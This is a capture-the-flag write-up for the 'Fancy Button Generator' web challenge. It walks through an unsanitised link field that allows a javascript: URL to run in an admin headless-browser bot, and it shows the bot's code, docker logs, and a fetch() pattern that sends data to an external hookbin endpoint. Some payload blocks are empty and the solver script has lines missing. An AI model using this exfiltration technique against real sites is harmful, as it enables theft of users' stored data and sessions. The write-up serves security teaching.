Tags: beginner_friendly indepth

Rating: 5.0

# Fancy Button Generator

- Category: Web
- Points: 100
- Author: Quintec


Check out this cool new fancy button generator! The buttons even glow!

https://fbg.rars.win/



## Scouting

That note at the bottom is really important... one thing I learned this CTF. **Always, test with a provided docker!**

We are given two files a pow (proof of work) solver:

python
import requests

import hashlib
import uuid
import binascii
import os
import sys

def generate():
return uuid.uuid4().hex[:4], uuid.uuid4().hex[:4]

hash = hashlib.sha256(prefix.encode() + answer.encode() + suffix.encode()).hexdigest()
return hash.endswith("0"*difficulty)

def solve(prefix, suffix, difficulty):
while True:
test = binascii.hexlify(os.urandom(4)).decode()
if verify(prefix, suffix, test, difficulty):
return test

s = requests.Session()
host = "https://fbg.rars.win/"

data = s.get(host + "pow").json()
print("Solving POW")
solution = solve(data['pref'], data['suff'], 5)
print(f"Solved: {solution}")

name = "" # change this
link = "" # change this
print(r.text)


What this does is solve the proof of work. What is a proof of work? It is something used in cryptocurrency, to prove that you actually "mined" a coin. Here we have to find a hash using the given prefix and suffix to find a sha256 hash that ends with the number of zeroes equal to difficulty.

After we send this to the /pow end point we can start creating buttons and sending them to the admin bot. First we'll check out the server.py script (I won't paste the whole thing):

python
@app.route('/button')
def button():
title = request.args.get('title')


This endpoint creates our button, as we can see no input sanitising is done. So the link or title could be basically anything! We can also see, that there are no pow checks in the function, meaning it can be created whenever.

python
if (not session.get("verified")) or (not session.get("end")):
return redirect("/pow")
if session.get("end") < time.time():
del session['pref']
del session['suff']
del session['end']
del session['verified']
return redirect("/pow")

title = request.args.get('title')
return f'Nice button! The admin will take a look. Current queue position: {r.json()["position"]}'


Here is the admin site. We can only send the admin buttons after being verified through the pow. The admin bot receives the title and link of our button, with zero checking. After that a request is sent to one of the admin bots. Time to check out what the admin bot does:

javascript
const visit = (req) => {
let page, browser;
return new Promise(async (resolve, reject) => {
try {
browser = await puppeteer.launch({
args: [
'--no-sandbox',
'--disable-setuid-sandbox',
'--disable-dev-shm-usage'
],
dumpio: true,
executablePath: process.env.PUPPETEER_EXECUTABLE_PATH
});
page = await browser.newPage();

await page.goto(process.env.SITE, {
waitUntil: "networkidle2"
});
await page.evaluate(flag => {
localStorage.flag = flag;
}, process.env.FLAG);

let url = process.env.SITE + "button?title=" + req.title + "&link=" + req.link;
console.log("Going to ", url);
await page.goto(url, {
waitUntil: "networkidle2"
});
await page.click("#btn");
await page.waitForTimeout(TIMEOUT);
await page.close();
page = null;
} catch (err) {
console.log(err);
} finally {
if (page) await page.close();
if (browser) await browser.close();
resolve();
}
});
};


The function works asynchronously and uses the puppeteer package, to automate a headless browser. We can see, that after loading a new page the flag is loaded into localStorage:

javascript
await page.evaluate(flag => {
localStorage.flag = flag;
}, process.env.FLAG);


After that the bot navigates to our provided button/url:

javascript
let url = process.env.SITE + "button?title=" + req.title + "&link=" + req.link;
console.log("Going to ", url);
await page.goto(url, {
waitUntil: "networkidle2"
});


The button is then clicked, the bot waits a bit and then exits. Awesome!

## Finding a solution

At first I tried to escape the href in the tag:

url


But if you do not put in any URL, it will append it to the fbg.rars.win/ URL. So that's a no go. How about using the javascript: tag?




Great, this is a proof of concept! But now for exfiltration, if we just alert the admin bot, that is absolutely useless. We need a publicly accessible endpoint. And this is where [hookbin](https://hookbin.com/) comes in. Simply click on CREATE NEW ENDPOINT and then use the given URL.

This is where it really comes in handy to work with a local instance of fbg. One payload we could use is:

javascript


Which we can input into the provided script:

python
import requests

import hashlib
import uuid
import binascii
import os
import sys

def generate():
return uuid.uuid4().hex[:4], uuid.uuid4().hex[:4]

hash = hashlib.sha256(prefix.encode() + answer.encode() + suffix.encode()).hexdigest()
return hash.endswith("0"*difficulty)

def solve(prefix, suffix, difficulty):
while True:
test = binascii.hexlify(os.urandom(4)).decode()
if verify(prefix, suffix, test, difficulty):
return test

s = requests.Session()
host = "https://fbg.rars.win/"

data = s.get(host + "pow").json()
print("Solving POW")
solution = solve(data['pref'], data['suff'], 5)
print(f"Solved: {solution}")

name = "..." # change this
print(r.text)


But this won't work... Time to try it locally.

### docker

After running docker-compose build we can use:

bash
docker-compose up
Starting fancy_button_generator_chall_1 ... done
admin2_1 | xssbot listening on port 80
chall_1 | * Environment: production
chall_1 | WARNING: This is a development server. Do not use it in a production deployment.
chall_1 | Use a production WSGI server instead.
chall_1 | * Debug mode: off
chall_1 | * Running on all addresses.
chall_1 | WARNING: This is a development server. Do not use it in a production deployment.
chall_1 | * Running on http://172.18.0.5:5000/ (Press CTRL+C to quit)
admin3_1 | xssbot listening on port 80
admin_1 | xssbot listening on port 80


Then I started all the Time to try our payloads, and look for errors!

*Note: Be sure to change the host variable in the script*

After executing the payload, and checking hookbin:

Well... that didn't work. Why?

bash
admin3_1 | Fontconfig warning: "/etc/fonts/fonts.conf", line 100: unknown element "blank"
admin3_1 | [0809/202810.380784:ERROR:bus.cc(393)] Failed to connect to the bus: Failed to connect to socket /var/run/dbus/system_bus_socket: No such file or directory
admin3_1 | DevTools listening on ws://127.0.0.1:44595/devtools/browser/5142a2c8-c6c0-4c0c-9ea5-c78c0946cbcd
admin3_1 | [0809/202810.420350:ERROR:command_buffer_proxy_impl.cc(126)] ContextResult::kTransientFailure: Failed to send GpuControl.CreateCommandBuffer.


Right, so there seems to be a syntax error? What if we send a simple request, without any extra data?

python


Time to check:

bash
admin3_1 | Fontconfig warning: "/etc/fonts/fonts.conf", line 100: unknown element "blank"
admin3_1 | [0809/202948.026389:ERROR:bus.cc(393)] Failed to connect to the bus: Failed to connect to socket /var/run/dbus/system_bus_socket: No such file or directory
admin3_1 | DevTools listening on ws://127.0.0.1:36589/devtools/browser/61c24fcb-bc1e-47c3-ac37-6fb90456910d
admin3_1 | [0809/202948.073610:ERROR:command_buffer_proxy_impl.cc(126)] ContextResult::kTransientFailure: Failed to send GpuControl.CreateCommandBuffer.



No errors and checking hookbin, it went through. So we can't really use a + probably? As that causes a syntax error. Well... in comes fetch.

## Fetch

We try:

javascript
javascript:fetch('<hookbin endpoint>')


As a simple test and it goes through! Now we can try sending some data! With fetch we can send headers as a dictionary, like so:

javascript
fetch('<endpoint>', { headers:{ 'Content-Type' : 'test' } })


bash
admin_1 | Fontconfig warning: "/etc/fonts/fonts.conf", line 100: unknown element "blank"
admin_1 | [0809/203918.354358:ERROR:bus.cc(393)] Failed to connect to the bus: Failed to connect to socket /var/run/dbus/system_bus_socket: No such file or directory


And hookbin:

![](./poc.png)

Awesome! Time to get the flag:

## Flag

The payload to the actual challenge site:

python

rarctf{th0s3_f4ncy_butt0n5_w3r3_t00_cl1ck4bl3_f0r_u5_a4667cb69f}